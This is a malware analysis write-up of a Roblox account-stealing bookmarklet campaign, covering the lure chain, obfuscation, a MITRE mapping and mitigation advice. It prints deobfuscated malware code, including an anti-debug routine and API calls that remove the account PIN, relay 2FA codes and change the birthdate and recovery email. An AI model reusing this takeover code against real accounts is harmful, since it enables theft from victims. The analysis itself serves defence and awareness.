Deobfuscating RoLinked, the Bookmarklet That Steals Roblox Accounts in Real Time

No Text To Speech put out a video walking through this exact flavor of Roblox account-stealing scam, the kind where you drag a bookmarklet onto your bookmarks bar and click it while sitting on roblox.com. I had seen these things referenced in passing for years but never actually pulled one apart, so I grabbed a sample circulating under the RoLinked / VlK Games branding and sat down to see what a fully weaponized version of that trick looks like once you strip away ~490KB of obfuscation.

How Victims Actually Get Here

Nothing below starts until someone actually drags that bookmarklet onto their bar, and the campaign spends real effort getting people there. It starts with a Roblox DM: someone claiming to be a lead developer at a game studio, VlK Games, offers to pay you for permission to use an outfit you're wearing in their game, and asks you to join their Discord and ping the dev channel about it. barleybobs' distribution write-up documents this pretext in detail. The branding isn't even new: the same pitch and logo template ran under a different studio name, "Motive Creations," as far back as April 2024. Roblox put out a public PSA about scams shaped like this one on 2024-04-25.

Once you join, the server runs a "verification" channel with a bot self-branded Ro Link, styled to resemble a legitimate Roblox-Discord linking bot like BloxLink. Clicking its "Verify Roblox" button is what actually sends you to rolinked.com and the bookmarklet instructions. The general channel gets padded with messages copy-pasted in real time from unrelated Discord servers, just enough activity to look like a real community if you don't look too closely. The operation is disposable by design: report the server and Discord terminates it, but a replacement with the same invite link is back up within about half an hour.

It's a Bookmarklet, Not a File

RoLinked doesn't ship an executable, a browser extension, or even a hosted script tag. The lure site (rolinked[.]com, rolinked[.]co) asks you to drag a link onto your bookmarks bar, then click it once you're already logged into Roblox. That link is a javascript: URI, one line, ~490KB long. Clicking it runs that code directly in the tab you already have open, with your session cookies and full DOM access to the real roblox.com page already sitting there. There's nothing to steal a login for, because the script never needs one. It rides the session you already had.

Layered Self-Defense in Front of the Payload

Before any of the interesting logic runs, the sample sets up several layers of self-protection. None of it is bespoke to this campaign; it's instantly recognizable to anyone who has fought a commercial JS obfuscator before. One check calls its own toString(), runs it through a catastrophic-backtracking regex, and feeds the result back into its own constructor. A second one regex-tests the stringified source of the anti-debug routine below for the exact shape the obfuscator expects, a nested function () {} chain, a ++variable increment, and if that shape looks wrong (renamed, reformatted, hooked), it calls that routine with a string argument instead of the number it expects. A third helper hijacks all seven console methods so nothing gets logged. Underneath all of it sits the anti-debug routine itself, wired to its own four-second interval:

window.setInterval(AntiDebug, 4000);

function AntiDebug(z) {
    function K(L) {
        if (typeof L === 'string') {
            return function () {}.constructor('while (true) {}').apply('counter');
        } else {
            (('' + (L / L)).length !== 1) || (L % 20 === 0)
                ? function () { return true; }.constructor('debugger').call('action')
                : function () { return false; }.constructor('debugger').apply('stateObject');
        }
        K(++L);
    }

    try {
        if (z) return K;
        else K(0);
    } catch (L) {}
}

Called this way, off the interval with no argument, the routine always takes the numeric branch. Every call plants a live debugger statement, then immediately calls itself again and plants another, until the call stack overflows and the surrounding try/catch quietly swallows the error. Both sides of the inner ternary construct and invoke the same bare debugger function, so the condition it looks like it's branching on changes nothing. A single four-second tick isn't one breakpoint, it's a flood of them.

The typeof L === 'string' branch never fires from the interval at all. It's reserved for the tamper-check described above, and only triggers if that check decides the code has been altered. When it does fire, it hangs the tab in an infinite loop built through the Function constructor rather than a literal while token, so a naive source scan for while (true) won't catch it.

None of this is custom-built for this campaign. It's standard debug-protection boilerplate that ships with mainstream JS obfuscators, but it was still enough to make the manual deobfuscation slow going. The commit history in the repo is basically a diary of that process: format, resolve the string array, replace what the auto-tooling missed by hand, concatenate the split literals, repeat.

The Takeover Flow

Once past both guards, the script walks through a fixed sequence before it's done with your account. Every step below is a real request against Roblox's own API, made from your own browser, using your own live session.

const T = 15000; // Robux, minimum item value to bother stealing

$.ajax({
    url: `https://inventory.roblox.com/v1/users/${userId}/assets/collectibles?assetType=null&cursor=&limit=100&sortOrder=Desc`,
}).done(function (res) {
    let total = 0;
    res.data.forEach((item) => {
        if (item.recentAveragePrice) total += item.recentAveragePrice;
    });

    if (total > T) startTakeover();
    else showNotQualifiedPopup();
});

$.ajax({
    method: 'DELETE',
    url: 'https://auth.roblox.com/v1/account/pin',
    success: function () {
        stealAccount(null, null);
    },
    error: function (res) {
        const metadata = atob(res.getResponseHeader('rblx-challenge-metadata'));
        const challengeId = res.getResponseHeader('rblx-challenge-id');
        const emailChallengeId = metadata.split('"challengeId":"').pop().split('"')[0];

        handleUserVerification(emailChallengeId, challengeId, null);
    }
});

$.ajax({
    method: 'POST',
    url: `https://twostepverification.roblox.com/v1/users/${userId}/challenges/email/verify`,
    data: JSON.stringify({ challengeId: emailChallengeId, actionType: 'Generic', code: enteredCode }),
    success: function (res) {
        const verificationToken = res.verificationToken;
        $.ajax({
            method: 'POST',
            url: 'https://apis.roblox.com/challenge/v1/continue',
            data: JSON.stringify({
                challengeId: authenticationChallenge,
                challengeMetadata: `{"verificationToken":"${verificationToken}","rememberDevice":false,"challengeId":"${emailChallengeId}","actionType":"Generic"}`,
                challengeType: 'twostepverification'
            }),
            success: function () {
                stealAccount(authenticationChallenge, btoa(`{"reauthenticationToken":"${verificationToken}"}`));
            }
        });
    }
});

const userBirthday = { birthDay: 2, birthMonth: 2, birthYear: 2022 };

$.ajax({
    method: 'POST',
    url: 'https://users.roblox.com/v1/birthdate',
    data: JSON.stringify(userBirthday),
    success: function () {
        $.ajax({
            method: 'POST',
            url: 'https://accountsettings.roblox.com/v1/email',
            data: JSON.stringify({ emailAddress: atob(randomEmail), password: '' })
        });
    }
});

Where the Stolen Items Go

This part isn't from the code. It's what NTTS traced by hand after the fact, so treat it as reporting rather than something recovered from the payload. Stolen inventories get resold through a Discord marketplace server called "The Stock," where the operator (Discord handle infiniteblox, identified after a self-inflicted slip pinging the entire server) holds a "Top Stalker" seller role and has listed batches upward of 25,000 Robux in stolen items, payment in cryptocurrency only, at a steep discount. The marketplace's own community reportedly knows exactly who he is and what he does, and doesn't act on it: he's a regular seller, and reporting him would cost the server business. The video also describes the theft chain going further than what the recovered sample shows, hijacking a compromised account's Roblox group payout settings so revenue gets redirected before the account changes hands. I didn't find that specific behavior in the sample analyzed here, so take it as a video-only claim rather than something independently confirmed in code.

MITRE ATT&CK Mapping

Based on the recovered payload plus the distribution chain documented above:

• T1566 Phishing: initial contact happens through a Roblox DM and a Discord server built to impersonate a legitimate Roblox-Discord linking flow, well before any code runs.
• T1027 Obfuscated Files or Information: string-array obfuscation with an index-rotating decoder, plus self-defending and debug-protection wrappers around the whole payload.
• T1622 Debugger Evasion: a recursive AntiDebug routine firing every four seconds, dropping debugger statements or an infinite loop built via the Function constructor to defeat casual devtools inspection.
• T1204 User Execution: the entire payload only runs because the victim drags a bookmarklet onto their bookmarks bar and clicks it themselves, on a page they're already logged into.
• T1656 Impersonation: every injected prompt, the RoLinked Agreement modal, the PIN dialog, both 2FA dialogs, is built from Roblox's own CSS classes to look native to the site it's running on.
• T1111 Multi-Factor Authentication Interception: real 2FA codes typed by the victim are relayed live to Roblox's actual verification endpoints and the resulting reauthentication token is reused for subsequent privileged calls, rather than being stored or brute-forced.
• T1098 Account Manipulation: birthdate and recovery email are both overwritten to lock the legitimate owner out of normal account recovery.
• T1531 Account Access Removal: a forced logout is issued once the attacker-controlled email verifies, ending the victim's own session.

Indicators of Compromise

Cross-referencing against an independent analysis by barleybobs, who tracked this campaign's infrastructure and email rotations over several months: the eight-email batch recovered from this sample matches their entry dated 2024-07-15, right around when this sample was collected, and their write-up fills in a few things this one sample alone couldn't show, the domain's hosting history and a second, now-terminated collector account this campaign ran before the current one.

Prevention and Mitigation

To avoid falling for something like this:

• A DM offering to pay you for your outfit or asking you to join a Discord server to "verify" your account is the opening move, not a real business inquiry, legitimate Roblox-Discord linking has never required a bookmarklet.
• Never drag a link into your bookmarks bar or paste code into your address bar because a website told you to, regardless of what it claims to do. That instruction is the entire attack.
• Treat any prompt that shows up mid-browsing asking you to "agree" to link a third-party service to your account, especially one styled to look exactly like the site you're on, as hostile by default.
• A 2FA code you're typing into a page you didn't navigate to yourself is a code you're handing away, authenticator apps don't protect you from a live relay running in the same tab.
• Treat an unexpected logout, a changed email, or a changed birthdate as an active compromise in progress, not a glitch.

If you suspect an account has already been hit:

• Contact Roblox support directly and reference an unauthorized birthdate and email change, don't try to recover through the email now on file.
• Check for a pending friend request to @slimeBallBack7 or an unfamiliar friend as a sign the script ran to completion.
• Revoke sessions and re-enable a PIN and 2FA the moment access is restored.

To help take the campaign itself down:

• Report the fake linking bot to Discord's developer / trust & safety team, reporting the server alone doesn't help, a replacement with the same invite is back within about half an hour.
• Report the lure domain to Google Safe Browsing and Microsoft Defender SmartScreen so browsers start blocking it directly.